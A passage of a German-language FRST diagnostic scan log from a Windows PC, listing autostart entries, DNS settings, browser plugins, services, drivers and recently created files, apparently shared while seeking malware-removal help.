HKLM\...\Run: [AdobeAAMUpdater-1.0] => "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [3146704 2017-05-09] (Malwarebytes)
HKLM-x32\...\Run: [BlueStacks Agent] => C:\Program Files (x86)\BlueStacks\HD-Agent.exe
HKLM-x32\...\Run: [Dropbox] => "C:\Program Files (x86)\Dropbox\Client\Dropbox.exe" /systemstartup
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)
HKLM-x32\...\Run: [IJNetworkScannerSelectorEX] => C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX\CNMNSST.exe [235624 2015-01-09] (CANON INC.)
HKLM-x32\...\Run: [CanonQuickMenu] => C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE [1314432 2016-06-09] (CANON INC.)
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEGAsync.lnk [2017-06-05]

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zur點kgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.0.1 192.168.0.2
Tcpip\..\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8718928D-CBEB-45EA-A621-800A9249001D}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [DhcpNameServer] 192.168.0.1 192.168.0.2
Tcpip\..\Interfaces\{bbed3e08-0b41-11e3-8249-806e6f6e6963}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{D14F6D89-FA6F-4917-80C9-3F09BF6A6D5D}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [NameServer] 8.8.8.8
ManualProxies:

Internet Explorer:
==================
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.de/?hl=de&gl=de
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKLM-x32 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
BHO: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
Toolbar: HKLM - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
Toolbar: HKLM-x32 - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab

FireFox:
========
FF DefaultProfile: ajsmomju.default
FF ProfilePath: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default [2017-06-07]
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_25_0_0_171.dll [2017-05-09] ()
FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin: @videolan.org/vlc,version=2.2.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [Keine Datei]
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_25_0_0_171.dll [2017-05-09] ()
FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect32.dll [Keine Datei]
FF Plugin HKU\S-1-5-21-3847841184-804715454-2304624315-1001: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\npuplaypc.dll [Keine Datei]

Chrome:
=======
CHR Profile: C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Default [2017-06-07]
CHR Extension: (Docs) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2017-06-07]

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
S4 DbxSvc; C:\Windows\system32\DbxSvc.exe [42096 2016-12-21] (Dropbox, Inc.)
R2 igfxCUIService2.0.0.0; C:\Windows\system32\igfxCUIService.exe [365048 2016-10-07] (Intel Corporation)
R2 IJPLMSVC; C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE [387144 2016-02-04] ()
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4470736 2017-05-09] (Malwarebytes)
R2 ss_conn_service; C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe [754784 2016-07-22] (DEVGURU Co., LTD.)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10888944 2017-04-25] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [361824 2017-01-12] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [119872 2017-01-12] (Microsoft Corporation)
S4 KingoSoftService; C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\KingoSoftService.exe "C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\checkupdate.exe"

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

S3 DFX11_1; C:\Windows\system32\drivers\dfx11_1x64.sys [28008 2015-08-31] (Windows (R) Win 7 DDK provider)
S3 DFX12; C:\Windows\system32\drivers\dfx12x64.sys [29688 2015-11-12] (Windows (R) Win 7 DDK provider)
S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 dtlitescsibus; C:\Windows\System32\drivers\dtlitescsibus.sys [30264 2017-05-07] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\drivers\dtliteusbbus.sys [47672 2017-05-07] (Disc Soft Ltd)
S3 dtproscsibus; C:\Windows\System32\drivers\dtproscsibus.sys [30264 2017-05-25] (Disc Soft Ltd)
R1 ESProtectionDriver; C:\Windows\system32\drivers\mbae64.sys [77376 2017-05-31] ()
R3 iaLPSS_GPIO; C:\Windows\System32\drivers\iaLPSS_GPIO.sys [35832 2014-06-03] (Intel Corporation)
R2 MBAMChameleon; C:\Windows\system32\drivers\MBAMChameleon.sys [188312 2017-06-05] (Malwarebytes)
R3 MBAMFarflt; C:\Windows\system32\drivers\farflt.sys [113592 2017-06-07] (Malwarebytes)
R3 MBAMProtection; C:\Windows\system32\drivers\mbam.sys [44960 2017-06-07] (Malwarebytes)
R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [252832 2017-06-07] (Malwarebytes)
R3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [93600 2017-06-07] (Malwarebytes)
R3 NETwNb64; C:\Windows\system32\DRIVERS\NETwbw02.sys [3526400 2017-03-09] (Intel Corporation)
S3 RTSUER; C:\Windows\system32\Drivers\RtsUer.sys [425216 2016-05-25] (Realsil Semiconductor Corporation)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-05-07] (Duplex Secure Ltd.)
S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 USBAAPL64; C:\Windows\System32\Drivers\usbaapl64.sys [51712 2011-02-18] (Apple, Inc.) [Datei ist nicht signiert]
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [46600 2017-02-10] (Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [274776 2017-01-12] (Microsoft Corporation)
R2 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [117592 2017-01-12] (Microsoft Corporation)
S3 dbx; system32\DRIVERS\dbx.sys [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Drei Monate: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-07 10:58 - 2017-06-07 10:58 - 00035011 _____ C:\Users\Nick Schuster\Desktop\SearchReg.txt
2017-06-07 10:46 - 2017-06-07 10:43 - 00028320 _____ C:\Users\Nick Schuster\Desktop\Fixlog.txt
2017-06-07 10:41 - 2017-06-07 10:41 - 00002287 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-06-05 17:30 - 2017-06-05 17:30 - 00000000 ____D C:\Users\Nick Schuster\Desktop\anti trojan
2017-06-05 15:57 - 2017-06-07 10:59 - 00093600 _____ (Malwarebytes) C:\Windows\system32\Drivers\mwac.sys
2017-06-05 15:57 - 2017-06-07 10:45 - 00252832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2017-06-05 15:57 - 2017-06-07 10:45 - 00113592 _____ (Malwarebytes) C:\Windows\system32\Drivers\farflt.sys
2017-06-05 15:57 - 2017-06-07 10:45 - 00044960 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbam.sys
2017-06-05 15:57 - 2017-06-05 15:57 - 00188312 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMChameleon.sys
2017-06-05 15:57 - 2017-06-05 15:57 - 00001891 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2017-06-05 15:57 - 2017-06-05 15:57 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes
2017-06-05 15:57 - 2017-06-05 15:57 - 00000000 ____D C:\Program Files\Malwarebytes
2017-06-05 15:57 - 2017-05-31 11:09 - 00077376 _____ C:\Windows\system32\Drivers\mbae64.sys
2017-06-05 15:48 - 2017-06-05 15:51 - 00000000 ____D C:\AdwCleaner
2017-06-05 15:40 - 2017-06-05 15:40 - 00000008 __RSH C:\ProgramData\ntuser.pol
2017-06-03 18:29 - 2017-06-03 18:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Wargaming.net
2017-06-03 17:56 - 2017-06-03 19:08 - 00000000 ____D C:\Games
2017-06-03 14:01 - 2017-06-07 11:10 - 00000000 ____D C:\FRST
2017-05-30 19:32 - 2017-06-07 10:34 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Google
2017-05-30 19:23 - 2017-06-07 10:35 - 00000000 ____D C:\Program Files\Mozilla Firefox
2017-05-30 19:23 - 2017-05-31 13:53 - 00002020 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-26 18:05 - 2017-05-26 18:05 - 00000000 ____D C:\ProgramData\Electronic Arts
2017-05-26 17:40 - 2017-05-26 17:40 - 00000295 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Papierkorb.lnk
2017-05-25 15:34 - 2017-05-25 15:36 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Pro
2017-05-25 15:34 - 2017-05-25 15:34 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtproscsibus.sys
2017-05-25 15:33 - 2017-05-25 15:33 - 00000000 ____D C:\ProgramData\DAEMON Tools Pro
2017-05-23 15:44 - 2017-04-27 15:11 - 00678592 _____ (Microsoft Corporation) C:\Windows\system32\msvcp120_clr0400.dll
2017-05-23 15:44 - 2017-04-27 15:10 - 00536768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcp120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:11 - 00869568 _____ (Microsoft Corporation) C:\Windows\system32\msvcr120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:10 - 00875712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcr120_clr0400.dll
2017-05-23 15:42 - 2017-04-06 19:37 - 00445440 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-05-23 15:42 - 2017-04-06 19:16 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\wpd_ci.dll
2017-05-23 15:42 - 2017-04-06 18:50 - 01436672 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00434688 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00324096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-05-23 15:42 - 2017-04-06 18:35 - 01362432 _____ (Microsoft Corporation) C:\Windows\system32\gpsvc.dll
2017-05-23 15:42 - 2017-04-06 18:15 - 00358912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-05-23 15:42 - 2017-04-06 17:44 - 00087040 _____ (Microsoft Corporation) C:\Windows\system32\wpdbusenum.dll
2017-05-23 15:42 - 2017-04-02 16:49 - 00186880 _____ (Microsoft Corporation) C:\Windows\system32\dpapisrv.dll
2017-05-23 15:42 - 2017-04-02 15:40 - 02013016 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ntfs.sys
2017-05-22 21:24 - 2017-05-22 21:24 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2017-05-18 22:17 - 2017-05-18 22:17 - 01499368 _____ (Microsoft Corporation) C:\Windows\system32\WdfCoInstaller01007.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00716880 _____ (Microsoft Corporation) C:\Windows\system32\WinUSBCoInstaller.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00166288 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudmdm.sys
2017-05-18 22:17 - 2017-05-18 22:17 - 00131984 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudbus.sys
2017-05-11 14:18 - 2017-04-28 23:15 - 07444824 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-05-11 14:18 - 2017-04-26 16:06 - 04169216 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-05-11 14:18 - 2017-04-16 12:23 - 02176584 _____ (Microsoft Corporation) C:\Windows\system32\combase.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01662096 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01063464 _____ (Microsoft Corporation) C:\Windows\system32\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 01135288 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 00803192 _____ (Microsoft Corporation) C:\Windows\system32\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01566032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\combase.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01213792 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 00548032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 11:05 - 00612096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 10:51 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-05-11 14:18 - 2017-04-16 10:37 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-05-11 14:18 - 2017-04-16 10:36 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-05-11 14:18 - 2017-04-16 10:35 - 25741312 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-05-11 14:18 - 2017-04-16 10:18 - 05977600 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-05-11 14:18 - 2017-04-16 10:16 - 00862720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 10:10 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-05-11 14:18 - 2017-04-16 10:03 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 10:02 - 00145408 _____ (Microsoft Corporation) C:\Windows\system32\iepeers.dll
2017-05-11 14:18 - 2017-04-16 10:01 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 09:53 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-05-11 14:18 - 2017-04-16 09:52 - 01033216 _____ (Microsoft Corporation) C:\Windows\system32\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:49 - 20278272 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-05-11 14:18 - 2017-04-16 09:47 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-05-11 14:18 - 2017-04-16 09:43 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-05-11 14:18 - 2017-04-16 09:40 - 00378880 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:37 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:29 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-05-11 14:18 - 2017-04-16 09:24 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 09:23 - 00128000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iepeers.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\rpcss.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 09:17 - 00880640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:12 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 15250944 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00330752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 04548608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:04 - 03241472 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-05-11 14:18 - 2017-04-16 09:02 - 00267776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wincorlib.dll
2017-05-11 14:18 - 2017-04-16 08:53 - 13661184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-05-11 14:18 - 2017-04-16 08:50 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:40 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-05-11 14:18 - 2017-04-16 08:37 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-05-11 14:18 - 2017-04-10 00:00 - 01548640 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys
2017-05-11 14:18 - 2017-04-10 00:00 - 00388448 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys
2017-05-11 14:18 - 2017-04-08 01:20 - 01375960 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-05-11 14:18 - 2017-04-07 15:56 - 01094656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-05-11 14:18 - 2017-04-02 18:41 - 00684544 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv2.sys
2017-05-11 14:18 - 2017-04-02 18:41 - 00414720 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv.sys
2017-05-11 14:18 - 2017-04-01 01:16 - 01968408 _____ (Microsoft Corporation) C:\Windows\system32\crypt32.dll
2017-05-11 14:18 - 2017-03-31 23:59 - 01612504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\crypt32.dll
2017-05-10 16:11 - 2017-05-10 16:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\My Games
2017-05-07 15:12 - 2017-05-25 16:04 - 00000000 ____D C:\ProgramData\Orbit
2017-05-07 15:12 - 2017-05-07 15:12 - 00281688 _____ C:\Windows\SysWOW64\PnkBstrB.xtr
2017-05-07 15:12 - 2017-05-07 15:12 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\PunkBuster
2017-05-07 15:06 - 2017-05-25 16:04 - 00000000 ____D C:\Users\Nick Schuster\Documents\My Games
2017-05-07 14:58 - 2017-05-11 23:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Ubisoft Game Launcher
2017-05-07 14:51 - 2017-06-05 15:36 - 00000000 ____D C:\Windows\System32\Tasks\Games
2017-05-07 14:41 - 2017-05-07 14:41 - 00282512 _____ C:\Windows\SysWOW64\PnkBstrB.ex0
2017-05-07 14:41 - 2017-05-07 14:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Ubisoft
2017-05-07 14:38 - 2017-05-07 14:38 - 00394296 _____ (Duplex Secure Ltd.) C:\Windows\system32\Drivers\sptd.sys
2017-05-07 14:03 - 2017-05-07 14:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Disc_Soft_Ltd
2017-05-07 13:50 - 2017-05-07 13:50 - 00000000 ____D C:\Users\Public\Documents\Daemon Tools Images
2017-05-07 13:14 - 2017-05-07 13:53 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Lite
2017-05-07 13:14 - 2017-05-07 13:14 - 00047672 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtliteusbbus.sys
2017-05-07 13:14 - 2017-05-07 13:14 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtlitescsibus.sys
2017-05-07 13:13 - 2017-05-07 13:13 - 00000000 ____D C:\ProgramData\DAEMON Tools Lite
2017-05-05 18:00 - 2017-05-05 18:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WinRAR
2017-05-03 17:47 - 2017-05-03 17:47 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\redsn0w
2017-05-03 17:35 - 2017-05-04 00:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Apple Computer
2017-05-03 17:35 - 2017-05-04 00:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Apple Computer
2017-05-03 17:34 - 2017-05-03 17:34 - 00000000 ____D C:\ProgramData\Apple Computer
2017-04-28 16:50 - 2017-04-28 17:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\SecondLife
2017-04-23 14:16 - 2017-03-13 18:38 - 00206848 _____ (Microsoft Corporation) C:\Windows\system32\wmitomi.dll
2017-04-23 14:16 - 2017-03-13 18:29 - 02609664 _____ (Microsoft Corporation) C:\Windows\system32\WsmSvc.dll
2017-04-23 14:16 - 2017-03-13 18:25 - 00285184 _____ (Microsoft Corporation) C:\Windows\system32\WsmWmiPl.dll
2017-04-23 14:16 - 2017-03-13 18:13 - 00159232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wmitomi.dll
2017-04-23 14:16 - 2017-03-13 18:07 - 02170880 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmSvc.dll
